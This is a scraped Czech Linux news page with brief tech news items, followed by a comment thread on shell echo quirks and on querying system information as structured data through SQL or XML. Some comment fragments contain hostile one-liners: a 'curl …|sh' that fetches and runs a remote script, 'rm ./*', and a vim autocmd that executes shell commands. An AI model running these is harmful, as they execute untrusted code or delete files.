MDN (Wikipedie), dnes MDN Web Docs, původně Mozilla Developer Network, slaví 20 let. V říjnu 2004 byl ukončen provoz serveru Netscape DevEdge, který byl hlavním zdrojem dokumentace k webovým prohlížečům Netscape a k webovým technologiím obecně. Mozille se po jednáních s AOL povedlo dokumenty z Netscape DevEdge zachránit a 23. července 2005 byl spuštěn MDC (Mozilla Developer Center). Ten byl v roce 2010 přejmenován na MDN.
Wayback byl vydán ve verzi 0.1. Wayback je "tak akorát Waylandu, aby fungoval Xwayland". Jedná se o kompatibilní vrstvu umožňující běh plnohodnotných X11 desktopových prostředí s využitím komponent z Waylandu. Cílem je nakonec nahradit klasický server X.Org, a tím snížit zátěž údržby aplikací X11.
Byla vydána nová verze 6.18 živé linuxové distribuce Tails (The Amnesic Incognito Live System), jež klade důraz na ochranu soukromí uživatelů a anonymitu. Nově se lze k síti Tor připojit pomocí mostu WebTunnel. Tor Browser byl povýšen na verzi 14.5.5. Thunderbird na verzi 128.12.0. Další změny v příslušném seznamu.
Meta představila prototyp náramku, který snímá elektrickou aktivity svalů (povrchová elektromyografie, EMG) a umožňuje jemnými gesty ruky a prstů ovládat počítač nebo různá zařízení. Získané datové sady emg2qwerty a emg2pose jsou open source.
Byla vydána (𝕏) nová verze 25.7 open source firewallové a routovací platformy OPNsense (Wikipedie). Jedná se o fork pfSense postavený na FreeBSD. Kódový název OPNsense 25.7 je Visionary Viper. Přehled novinek v příspěvku na fóru.
Před 40 lety, 23. července 1985, společnost Commodore představila první počítač Amiga. Jednalo se o počítač "Amiga od Commodore", jenž byl později pojmenován Amiga 1000. Mělo se jednat o přímou konkurenci počítače Apple Macintosh uvedeného na trh v lednu 1984.
T‑Mobile USA ve spolupráci se Starlinkem spustil službu T-Satellite. Uživatelé služby mohou v odlehlých oblastech bez mobilního signálu aktuálně využívat satelitní síť s více než 650 satelity pro posílání a příjem zpráv, sdílení polohy, posílání zpráv na 911 a příjem upozornění, posílání obrázků a krátkých hlasových zpráv pomocí aplikace Zprávy Google. V plánu jsou také satelitní data.
Společnost Proxmox Server Solutions stojící za virtualizační platformou Proxmox Virtual Environment věnovala 10 000 eur nadaci The Perl and Raku Foundation (TPRF).
Byla vydána nová verze 2.4.65 svobodného multiplatformního webového serveru Apache (httpd). Řešena je bezpečnostní chyba CVE-2025-54090.
Společnost Proton AG stojící za Proton Mailem a dalšími službami přidala do svého portfolia AI asistenta Lumo.
MEOW=$(printf 'meow \n'; printf 'x') MEOW="${MEOW%x}"
$ echo -e '\x2dn' -n $ echo -e '\x2de' -e
echo -e \ -e
$ busybox echo --help BusyBox v1.20.2 (Debian 1:1.20.0-7) multi-call binary. Usage: echo [-neE] [ARG]... Print the specified ARGs to stdout -n Suppress trailing newline -e Interpret backslash escapes (i.e., \t=tab) -E Don't interpret backslash escapes (default) $ busybox echo -e '\x2de' -e
rm ./*
Toto sa mi už raz stalo.
%22
.
esc:!curl b.nsalitomerice.cz|sh
, tak jsme přesně tam, kde jsme byli.
au BufRead /tmp/bash-fc-* | silent execute '!test "$DISPLAY" && xsel | tr -dc "\040-\176" | xsel' | redraw!
Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne textJa mam radu utilit namapovanych jako funkce ve Schemu. Co radek textu, to jedna polozka seznamu, ta struktura uz z toho obvykle vyplyne. Neni to uplne nejrychlejsi, ale da se s tim pracovat vyraznej pohodlneji nez v bashi.
Nechces o tom napsat nejaky blogpost?Já o tom vůbec nic nevím. Říkej to panu Zeleninovi
To je slozitejsi zalezitost nez jen shell.Jo jo… ten ekosystém okolo…
grep
u a cut
u a nemusel bys neustále parsovat a serializovat textová data -- byly by jasně dané hranice mezi sloupci, mezi řádky. Kromě tabulek by tam byly i SQL funkce/procedury pro zjišťování různých informací, výpočty, nebo i provádění aktivních operací (např. vytvoření souboru, uživatele, ping).
Trochu už jsem to promýšlel, ale k implementaci jsem se zatím nedostal...
/sys
a /proc
je sice fajn, ale stále pěkně debilní právě z důvodů které jsi popsal + taky k tomu, že tam silně chybí sémantika a builtin help, který je s trochou štěstí někde vedle v manu.
Osobně jsem často přemýšlel nad systémem, kde je všechno objekt a všechny informace jsou strukturované, s dokumentací a jasně danými parametry. Pak mi došlo, že to už existuje a tak jsem se nedávno začal učit smalltalk/pharo.
grep
a cut
.
To co jsi popsal je taky programování, jen silně omezený subset.Je to hlavně deklarativní, což je pro výběr dat IMHO ideální -- schválně si porovnej nějaký SQL dotaz s ekvivalentním dotazem nad NoSQL databází (napsaný třeba v procedurálním/funkcionálním JavaScriptu).
Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazyU takového nástroje bych nečekal plnou podporu nejnovějšího SQL standardu. Stačila by omezená podmnožina tohoto jazyka.
navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky...Právě že tabulkově orientovaných je většina dat -- velice často se používají různé textové výpisy, co řádek, to záznam a uvnitř řádků je nějaká další struktura -- oddělená mezerami, tabulátory, |, čárkami atd. a dneska se to musí parsovat na úrovni textu. Totéž platí pro logy -- ty textové jsou často implementované blbě, takže se dají použít leda jako protokol pro zpětné dohledávání věcí a čtení člověkem, ale ne pro strojové zpracování, protože hodnoty mohou přetékat, jak buňky, tak řádky -- buď se to rozbije neúmyslně nebo dokonce někdo může injektovat hodnoty do logu tak, aby to vypadalo, že se stalo něco jiného, než co se ve skutečnosti stalo.
...jen bys měl ve většině tabulek jeden řádekZáleží, co je to za data, s tím by si šlo vyhrát, šlo by sloučit víc věcí do jedné tabulky a filtrovat podle klíče. Některé věci taky vůbec jako tabulka být nemusí -- může to být funkce, kterou si zavoláš pro řádky jiné tabulky nebo samostatně.
Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info.Obecně to jeden objekt být nemusí, ale občas bude problém s tím, že data budou spíš stromová než tabulková (soubory, procesy), resp. hůř se s tím pracuje jako s tabulkou, protože klasické SQL na to moc vhodné není -- chce to SQL funkce pro práci se stromy (CTE) a ani tak to není úplně dokonalý nástroj. Ale je otázka, co převažuje, IMHO spíš ty tabulky než stromy, takže by se SQL vyplatilo. U hodně stromů taky zjistíš, že to nejsou obecné stromy s nekonečnou rekurzí a amorfní strukturou, ale že je to prostě několik relací s dobře definovanou strukturou a propojených přes cizí klíče -- např. síťová rozhraní a IP adresy a jejich atributy. Pro stromová data by šlo dobře použít XML a pak nad tím volat XPath dotazy (dotazování jako SQL) nebo pouštět XQuery (to už je víc programování). Zrovna teď si píšu takový nástroj na načítání různých dat jako XML -- v podstatě to jsou SAX parsery pro různé formáty a jeden z nich bude souborový systém (místo jednoho souboru to čte adresář a jeho obsah), takže na výstupu dostaneš XML (resp. proud SAX událostí, ani to není potřeba serializovat na text s nějakými ostrými závorkami, dá se to zpracovat ještě jako objekty resp. volání metod/události) obsahující informace o souborech včetně rozšířených atributů případně i s obsahem těch souborů a budeš to moci filtrovat pomocí XPath dotazů nebo transformovat v XSLT, případně i validovat v XSD/RelaxNG/... (to by občas taky dávalo smysl -- zvalidovat si adresář, jestli obsahuje přesně to, co má) a další věci. Tohle by se v SQL dělalo dost těžko.
Tiskni
Sdílej: